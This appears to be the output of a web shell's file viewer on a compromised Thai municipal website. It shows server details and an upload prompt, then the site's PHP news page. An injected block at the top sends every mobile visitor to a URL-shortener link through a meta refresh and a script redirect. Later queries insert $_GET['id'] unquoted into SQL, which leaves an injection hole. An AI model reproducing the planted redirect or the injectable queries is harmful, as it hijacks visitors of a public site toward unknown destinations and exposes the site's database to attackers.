| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/domains/tessabalpatiu.go.th/private_html/ |
Upload File : |
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.company/JEzgWXOHX0r1" /><script>location.replace("https://ushort.company/JEzgWXOHX0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
include("conn.php");
include("funtion.php");
//-- หลัก --//
$sql_main = "SELECT * FROM main WHERE mid = '1'";
$query_main = $obj_con->query($sql_main);
$row_main = $query_main->fetch_assoc();
if($row_main['moff'] == '0'){
?>
<html lang="en"><head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- The above 2 meta tags *must* come first in the head; any other head content must come *after* these tags -->
<meta name="description" content="">
<meta name="author" content="">
<!-- Note there is no responsive meta tag here -->
<link rel="icon" href="img/<?php echo $row_main['mfavorite'];?>">
<?php include("title.php"); ?>
<!-- Bootstrap core CSS -->
<link href="dist/css/bootstrap.min.css" rel="stylesheet">
<link href="assets/css/ie10-viewport-bug-workaround.css" rel="stylesheet">
<link href="examples/non-responsive/non-responsive.css" rel="stylesheet">
<script src="assets/js/ie-emulation-modes-warning.js"></script>
<link href="https://fonts.googleapis.com/css?family=Kanit:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i|Mitr:200,300,400,500,600,700|Prompt:100,100i,200,200i,300,300i,400,400i,500,500i,600,700,700i,800,800i,900,900i" rel="stylesheet">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.13/css/all.css" integrity="sha384-DNOHZ68U8hZfKXOrtjWvjxusGo9WQnrNx2sqG0tfsghAvtVlRW3tvkXWZh58N9jp" crossorigin="anonymous">
<!--======= Responsive boxslide Carousel StyleSheet =========-->
<link href="boxslide/css/responsive_bootstrap_carousel_mega_min.css" rel="stylesheet" media="all">
<link href="boxslide/css/theme.css" rel="stylesheet" media="all">
<!-- Style sweetalert -->
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<!--======= Awesome Font StyleSheet =========-->
<link href="font-awesome-4.6.3/css/font-awesome.min.css" rel="stylesheet" media="all">
</head>
<body>
<div class="header-top">
<div class="container">
<div class="h-text-1"><?php echo $row_main['m_welcom'];?></div>
<div class="h-box-r">
<div class="h-text-email"><i class="fas fa-envelope-square"></i> อีเมลล์. <?php echo $row_main['memail'];?></div>
<div class="h-text-tel"><i class="fas fa-phone-square"></i> เบอร์โทร. <?php echo $row_main['mtel'];?></div>
</div>
<a href="/" title="<?php echo $row_main['mtitle_logo'];?>"><img src="img/logo/<?php echo $row_main['logo'];?>" class="logo-web"></a>
<div class="h-box-title"><?php echo $row_main['mtitle_logo'];?></div>
<div class="h-box-title-p"><?php echo $row_main['mp_logo'];?></div>
<div class="h-box-menu">
<a href="/" class="a-home-menu"><i class="fas fa-home"></i> หน้าหลัก</a>
<a href="index.php?home=gallery" class="a-pic-menu">อัลบั้มกิจกรรม</a>
<a href="index.php?home=news" class="a-news-menu">ข่าวสาร</a>
<a href="index.php?home=download" class="a-dowload-menu">ดาวน์โหลด</a>
<a href="index.php?home=contact " class="a-contact-menu">ติดต่อเรา</a>
</div>
<div class="h-box-text-slide">
<marquee onmouseover="this.stop()" onmouseout="this.start()" scrollamount="2" scrolldelay="2" class="h-box-mar">
<?php echo $row_main['textslide'];?>
</marquee>
</div>
<div id="kkk">
<div id="carousel-example-generic" class="carousel slide" data-ride="carousel">
<!-- Indicators -->
<ol class="carousel-indicators">
<?php
$ss_1 = 0;
$sql_slide_1 = "SELECT * FROM slideisc WHERE stype = '1' ORDER BY ids DESC";
$query_slide_1 = $obj_con->query($sql_slide_1);
while($row_slide_1 = $query_slide_1->fetch_assoc()){
?>
<li data-target="#myCarousel-example-generic" data-slide-to="<?php echo $ss_1;?>" <?php if($ss_1 == 0){ ?> class="active" <?php } ?>></li>
<?php $ss_1++; } ?>
</ol>
<!-- Wrapper for slides -->
<div class="carousel-inner" role="listbox">
<?php
$ss_2 = 0;
$sql_slide_2 = "SELECT * FROM slideisc WHERE stype = '1' ORDER BY ids DESC";
$query_slide_2 = $obj_con->query($sql_slide_2);
while($row_slide_2 = $query_slide_2->fetch_assoc()){
?>
<div class="item <?php if($ss_2 == 0){ ?>active<?php } ?>">
<img src="img/slide/<?php echo $row_slide_2['pics'];?>" alt="<?php echo $row_slide_2['slink'];?>">
</div>
<?php $ss_2++; } ?>
</div>
<!-- Controls -->
<a class="left carousel-control" href="#carousel-example-generic" role="button" data-slide="prev">
<span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
<span class="sr-only">Previous</span>
</a>
<a class="right carousel-control" href="#carousel-example-generic" role="button" data-slide="next">
<span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
<span class="sr-only">Next</span>
</a>
</div>
</div>
</div>
</div>
<div class="container">
<div>
<div class="pd20">
<div class="row">
<!---
box zone 1 --------->
<div class="col-xs-4" style="width: 269px;margin-top: -14px;">
<div class="menu-l-top"></div>
<div class="menu-l">
<div id="navigation">
<ul class="top-level">
<li><a href="index.php"><img src="img/ico_menu.png"> หน้าหลัก</a></li>
<?php
$sql_index_general1 = "SELECT menu_id,menu_sort,menu_name FROM tasoft_menu where subsort = 0 order by menu_sort";
$query_index_general1 = $obj_con->query($sql_index_general1);
while($row_index_general1 = $query_index_general1->fetch_assoc()){
?>
<li><a href="index.php?home=information&id=<?php echo $row_index_general1['menu_id'];?>"><img src="img/ico_menu.png"> <?php echo $row_index_general1['menu_name'];?></a>
<ul class="sub-level">
<?php
$sql_board1 = "SELECT * FROM tasoft_menu WHERE subsort ='".$row_index_general1['menu_sort']."' ";
$query_board1 = $obj_con->query($sql_board1);
while($row_board1 = $query_board1->fetch_assoc()){
?>
<li><a href="index.php?home=board&id=<?php echo $row_board1['menu_id'];?>"><img src="img/ico_menu.png"> <?php echo $row_board1['menu_name'];?></a> </li>
<?php } ?>
</ul>
</li>
<?php } ?>
</ul>
</div>
</div>
<div class="menu-l-bottom">
</div>
<!--- end Menu --------->
<div class="div-box-t9">
<?php
$sql_a_l_t = "SELECT * FROM tb_link WHERE l_group = '3' AND l_show = '1' ORDER BY l_id ASC";
$query_a_l_t = $obj_con->query($sql_a_l_t);
while($row_a_l_t = $query_a_l_t->fetch_assoc()){
?>
<a href="<?php echo $row_a_l_t['l_link'];?>" class="div-a-menu-line" target="_blank"><?php echo $row_a_l_t['l_name'];?></a>
<?php } ?>
</div>
<div class="box-memu-l-t">
<h3 class="title-box">ลิงค์สำคัญ</h3>
<div class="">
<?php include("link_all.php");?>
</div>
</div>
<div class="box-memu-l-t">
<h3 class="title-box">แบบสำรวจเว็บไซต์</h3>
<p class="p-vote">ท่านมีความคิดเห็นว่า <br>เว็บไซต์สำนักงานเทศบาลตำบลป่าติ้ว <br>มีประโยชน์ต่อประชาชน</p>
<div class="div-a-manu-l">
<?php if($_GET['home'] != 'from_contact'){ ?>
<form name="frm1" id="iframe_target_vote" method="post" action="insert/insert_vote.php" target="iframe_target_vote" enctype="multipart/form-data">
<iframe id="iframe_target_vote" name="iframe_target_vote" style="width:0;height:0;border:0px solid #fff; top:0; position:absolute;display: none;"></iframe>
<script language="JavaScript">
function showResult_vote(result)
{
if(result == '1'){
swal("ทำการโหวตสำเร็จ!", "เราได้รับข้อมูลการโหวตของท่านแล้ว! ขอขอบคุณที่แสดงความคิดเห็นคะ", "success")
.then((value) => {
window.location.href = 'index.php';
});
}
else if(result == '2')
{
swal("เกิดข้อผิดพลาด", "ไม่สามารถตรวจสอบข้อมูลได้กรุณาลองใหม่อีกครั้ง", "error");
}
}
</script>
<?php
$vv = 1;
$iv_ip = $_SERVER['REMOTE_ADDR'];
$sql_ip_vote = "SELECT * FROM tb_ip_vote WHERE iv_ip = '$iv_ip'";
$query_ip_vote = $obj_con->query($sql_ip_vote);
$num_ip_vote = mysqli_num_rows($query_ip_vote);
if($num_ip_vote == 0){
$sql_vote = "SELECT * FROM tb_vote ORDER BY v_id ASC";
$query_vote = $obj_con->query($sql_vote);
while($row_vote = $query_vote->fetch_assoc()){
?>
<div class="radio">
<label>
<input type="radio" name="optionsRadios" id="optionsRadios1" value="<?php echo $row_vote['v_id'];?>" <?php if($vv == 1){ ?>checked<?php } ?>>
<?php echo $row_vote['v_name'];?>
</label>
</div>
<?php $vv++; } ?>
<button class="btn btn-default btn-sm" type="submit"><i class="fas fa-check-circle"></i> แสดงผลโหวต</button>
</form>
<?php }else{ ?>
<?php
$sql_vote_pg = "SELECT * FROM tb_vote ORDER BY v_id ASC";
$query_vote_pg = $obj_con->query($sql_vote_pg);
while($row_vote_pg = $query_vote_pg->fetch_assoc()){
?>
<div style="margin-right: 10px;">
<div><?php echo $row_vote_pg['v_name'];?> (<?php echo $row_vote_pg['v_num'];?>)</div>
<div class="progress">
<div class="progress-bar" role="progressbar" aria-valuenow="<?php echo $row_vote_pg['v_num'];?>" aria-valuemin="0" aria-valuemax="100" style="width: <?php echo $row_vote_pg['v_num'];?>%;"></div>
</div>
</div>
<?php } ?>
<?php } }?>
</div>
<div class="p-total-vote">** ผู้โหวตทั้งหมด : <?php echo $num_ip_vote;?> **</div>
</div>
</div>
<!-- Start toppic -->
<?php
$id = mysqli_real_escape_string($obj_con,$_GET['id']);
$getPage = "SELECT * FROM tasoft_promote6_picture WHERE menu_id = $id";
$query_ip_vote = $obj_con->query($getPage);
$vfile = $query_ip_vote->fetch_assoc();
$sql_nw = "SELECT * FROM tasoft_promote6 WHERE menu_id = $id";
$query_nw = $obj_con->query($sql_nw);
$row_toppic1 = $query_nw->fetch_assoc();
$strSQL_nw = "UPDATE tasoft_promote6 SET bo_view = bo_view+1 WHERE menu_id = $id ";
$objQuery_nw = $obj_con->query($strSQL_nw);
?>
<div class="col-md-8" id="box_r">
<ol class="breadcrumb">
<li><a href="index.php"><i class="fas fa-home"></i> หน้าหลัก</a></li>
<li><a href="toppic1.php">ข่าวประกาศ </a></li>
<li class="active"><?php echo mb_substr($row_toppic1['menu_name'], 0, 40, 'UTF-8')."...";?></li>
</ol>
<h3 class="title-box-2"><?php echo $row_toppic1['menu_name'];?></h3>
<div class="row">
<div class="col-sm-6 col-md-12">
<div class="p-detail">
<center>
<?php echo $row_toppic1['menu_title'];?>
</center>
<strong><br><br>
Download File
</strong></br>
<?php if($getPage){?>
<table width="100%" border="0">
<tr>
<input type="hidden" name="hdbanner_id[]" value="<?php echo @$vfile['menu_id'];?>" />
<td width="3%" style="vertical-align:top"><img src="img/pdf.png" /></td><td width="78%"><a href="image_data/promote6/<?php echo $vfile['image1']?>"> <?PHP echo $vfile["picture_title"];?></a></td><br>
</tr>
<tr>
<td colspan="3"><br><br>
<center><?php echo $row_toppic1['menu_detail'];?></center>
</td>
</tr>
</table>
<?php }?>
</div>
<div class="p-footer-detail"><i class="far fa-calendar-alt"></i> เมื่อวันที่ : <?php echo thai_date_and_time_short(strtotime($row_toppic1['bo_date']));?> (เข้าชม <i class="fas fa-eye"></i> <?php echo number_format($row_toppic1['bo_view']);?>)</div>
</div>
</div>
</div>
<!-- End toppic -->
</div>
</div>
</div>
</div> <!-- /container -->
<footer class="f-box" style="background: url(img/bg_footer/<?php echo $row_main['m_bg_footer'];?>) no-repeat top center;">
</footer>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>window.jQuery || document.write('<script src="assets/js/vendor/jquery.min.js"><\/script>')</script>
<script src="dist/js/bootstrap.min.js"></script>
<script src="assets/js/ie10-viewport-bug-workaround.js"></script>
<!--======= boxslide =========-->
<script src="boxslide/js/jquery.touchSwipe.min.js"></script>
<script src="boxslide/js/responsive_bootstrap_carousel.js"></script>
</body></html>
<!-- System & Design By MeawMeekhong -->
<?php }else{ ?>
<link href="img/logo_icon.ico" rel="shortcut icon" />
<title>ระบบกำลังปิดปรับปรุง</title>
<link href="https://fonts.googleapis.com/css?family=Kanit:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i|Mitr:200,300,400,500,600,700|Prompt:100,100i,200,200i,300,300i,400,400i,500,500i,600,700,700i,800,800i,900,900i" rel="stylesheet">
<div style="text-align: center; margin-top: 10%;">
<font style="font-size: 34px;font-family: 'Kanit', sans-serif;color: #da6600;font-weight: 200;">
:: ระบบกำลังปิดปรับปรุง ขออภัยในความไม่สะดวก! :: </font></div>
<?php } ?>